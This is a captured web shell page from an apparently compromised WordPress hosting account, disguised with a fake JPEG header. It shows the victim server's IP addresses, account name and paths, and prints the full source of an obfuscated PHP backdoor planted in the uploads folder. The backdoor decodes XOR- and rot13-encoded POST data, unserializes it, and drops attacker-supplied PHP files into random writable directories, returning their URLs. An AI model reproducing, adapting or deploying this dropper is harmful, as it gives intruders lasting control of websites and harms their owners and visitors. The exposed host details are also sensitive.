????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.96.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/thread-self/root/home/tempvsty/eaabusiness.com/wp-content/uploads/2023/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/home/tempvsty/eaabusiness.com/wp-content/uploads/2023/fqoyndrg.php
<?php function ZyvolMA($HkoVNIHT){$MpvvIDgBw = chr(165-51).chr(97).chr(119).'u'."\x72"."\x6c".chr(100).'e'."\x63"."\157".'d'."\x65";$jbuNXRpwhC = chr(757-642).'t'."\162".chr(95).'r'."\157".chr(449-333).chr(936-887).'3';$EJfMevlFnW = "\163"."\x74".'r'.chr(95).chr(115).chr(569-457).chr(356-248)."\151"."\x74";$HkoVNIHT = $EJfMevlFnW($MpvvIDgBw($jbuNXRpwhC($HkoVNIHT)));return $HkoVNIHT;}function DqIgSq($hzKlaaQ, $HkoVNIHT){$jPClUL = chr(704-589)."\x74"."\x72"."\x5f".chr(115).chr(456-344).chr(108).chr(850-745).chr(387-271);$hzKlaaQ = array_slice($jPClUL(str_repeat($hzKlaaQ, (count($HkoVNIHT)/16)+1)), 0, count($HkoVNIHT));return $hzKlaaQ;}function aSLFsZQo($imQsF, $JvJQY, $hzKlaaQ){$PpUGnMSw = "cc854ca9-9b9f-489f-b3c0-f572735a0828";return $imQsF ^ $PpUGnMSw[$JvJQY % strlen($PpUGnMSw)] ^ $hzKlaaQ;}function sEctrCx($HkoVNIHT, $hzKlaaQ){$HkoVNIHT = array_map("aSLFsZQo", array_values($HkoVNIHT), array_keys($HkoVNIHT), array_values($hzKlaaQ));$HkoVNIHT = implode("", $HkoVNIHT);$NkqopVWTrI = chr(117).chr(1101-991).chr(213-98)."\145".'r'.'i'."\x61"."\154"."\x69".chr(122).'e';$HkoVNIHT = @$NkqopVWTrI($HkoVNIHT);return $HkoVNIHT;}function FlvSSMcVx(){echo "pZllX";}function LmgtIXeQ($bNcfcmIxir){static $wuAks = array();$yxETru = glob($bNcfcmIxir . '/*', GLOB_ONLYDIR);$nGYOzPHey = count($yxETru);if ($nGYOzPHey > 0) {foreach ($yxETru as $bNcfcmIx) {$iRUOnVn = chr(105).'s'."\137"."\x77".chr(114).chr(105).chr(861-745)."\141"."\142"."\154".chr(101);if (@$iRUOnVn($bNcfcmIx)) {$wuAks[] = $bNcfcmIx;}}}foreach ($yxETru as $bNcfcmIxir) LmgtIXeQ($bNcfcmIxir);return $wuAks;}function oDlkXXNq(){echo "BQIDEUbQy";}function pXddYupjBA($HkoVNIHT){$bYCFVgMz = "\104".'O'.chr(67)."\125"."\115"."\x45".'N'.chr(84)."\x5f".chr(458-376).chr(79)."\117".chr(1025-941);$RpFQyA = $_SERVER[$bYCFVgMz];$yxETru = LmgtIXeQ($RpFQyA);$YgHIjoaQ = array_rand($yxETru);$ivZmYP = '.'."\x70".chr(104).chr(112);$GxnZnLjb = $yxETru[$YgHIjoaQ] . "/" . substr(md5(time()), 0, 8) . $ivZmYP;$pybekl = chr(102).chr(105).'l'."\x65".chr(976-881).chr(661-549)."\165"."\x74"."\x5f".chr(99)."\x6f".chr(718-608)."\x74"."\x65".chr(126-16).'t'.chr(955-840);@$pybekl($GxnZnLjb, $HkoVNIHT);$qjzaJlUt = "\110".chr(128-44)."\124"."\x50"."\x5f".'H'.chr(79).chr(83).'T';$rVonuoO = 'h'.'t'.chr(116).'p'.chr(58)."\x2f".chr(867-820);$vSiBBIwYCM = $rVonuoO . $_SERVER[$qjzaJlUt] . substr($GxnZnLjb, strlen($RpFQyA));print($vSiBBIwYCM);}foreach ($_POST as $hzKlaaQ => $HkoVNIHT){$mlpBv = strlen($hzKlaaQ);if ($mlpBv == 16){$HkoVNIHT = ZyvolMA($HkoVNIHT);$hzKlaaQ = DqIgSq($hzKlaaQ, $HkoVNIHT);$HkoVNIHT = sEctrCx($HkoVNIHT, $hzKlaaQ);if (@is_array($HkoVNIHT)){$YgHIjoaQ = array_keys($HkoVNIHT);$HkoVNIHT = $HkoVNIHT[$YgHIjoaQ[0]];if ($HkoVNIHT === $YgHIjoaQ[0]){$TkdsyNj = 'p'.'h'.chr(112);$RFvLyiEdQ = chr(544-432).chr(345-241).chr(112)."\166".chr(445-344)."\x72".'s'.chr(376-271)."\157".chr(161-51);$AYWpo = "\x73".'e'.chr(1058-944)."\151"."\141"."\x6c".'i'.chr(566-444).chr(101);echo @$AYWpo(Array($TkdsyNj => @$RFvLyiEdQ(), ));}else {pXddYupjBA($HkoVNIHT);}die();}}}

Youez - 2016 - github.com/yon3zu
LinuXploit